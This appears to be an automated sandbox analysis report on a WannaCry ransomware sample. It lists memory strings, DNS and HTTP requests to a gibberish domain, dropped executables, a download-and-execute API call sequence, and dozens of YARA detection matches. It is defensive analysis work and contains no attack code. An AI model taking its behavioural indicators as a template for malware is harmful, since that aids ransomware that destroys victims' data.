              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
              Source: svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 00000014.00000003.293305404.000001F6C2831000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
              Source: lsass.exe, 0000000A.00000002.788663859.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270622605.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://pki.goog/repository/0
              Source: svchost.exe, 00000028.00000000.412122397.0000024ADF800000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.812909880.0000024ADF800000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://site-cdn.onenote.net/161182431559_Images/LiveTileImages/MediumAndLarge/Image1.png
              Source: svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
              Source: svchost.exe, 00000014.00000002.316685845.000001F6C2813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
              Source: svchost.exe, 00000014.00000003.293305404.000001F6C2831000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
              Source: svchost.exe, 00000014.00000003.316050945.000001F6C2856000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
              Source: svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
              Source: svchost.exe, 00000014.00000003.293305404.000001F6C2831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317097644.000001F6C283A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
              Source: svchost.exe, 00000014.00000003.315849134.000001F6C2848000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317155940.000001F6C284E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
              Source: unknownDNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA27A7 GetTempFileNameA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,CreateProcessA,InternetCloseHandle,InternetCloseHandle,4_2_7FEA27A7
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Detected Wannacry Ransomware
              Source: C:\Windows\tasksche.exeCode function: CreateFileA,GetFileSizeEx,memcmp,GlobalAlloc,_local_unwind2, WANACRY!31_2_004014A6
              Yara detected Wannacry ransomware
              Source: Yara matchFile source: 4GDffePnzH.dll, type: SAMPLE
              Source: Yara matchFile source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 12.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 12.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000007.00000002.356337909.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.258382588.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.269440362.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.262322206.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.267592382.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.361900309.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.266091214.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.273590158.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.552570972.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.260042872.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.263716833.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.261159703.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 1564, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 2012, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 5012, type: MEMORYSTR
              Source: Yara matchFile source: C:\Windows\mssecsvc.exe, type: DROPPED

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 4GDffePnzH.dll, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4GDffePnzH.dll, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 12.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 12.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 12.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 31.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 31.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 31.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 12.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 12.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 12.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 12.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 12.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 12.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 12.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 12.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 12.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 12.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 12.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 12.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 31.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 31.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 31.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 12.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 12.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 12.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 0000001F.00000000.340764115.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.258478621.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.266159981.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.260099444.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.267748192.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.261228949.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000000C.00000000.273664052.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.263823509.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000000C.00000002.362077615.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000002.356435159.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000002.552652986.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000000.269533614.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.262513354.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4GDffePnzH.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
              Source: 4GDffePnzH.dll, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4GDffePnzH.dll, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 12.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 12.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
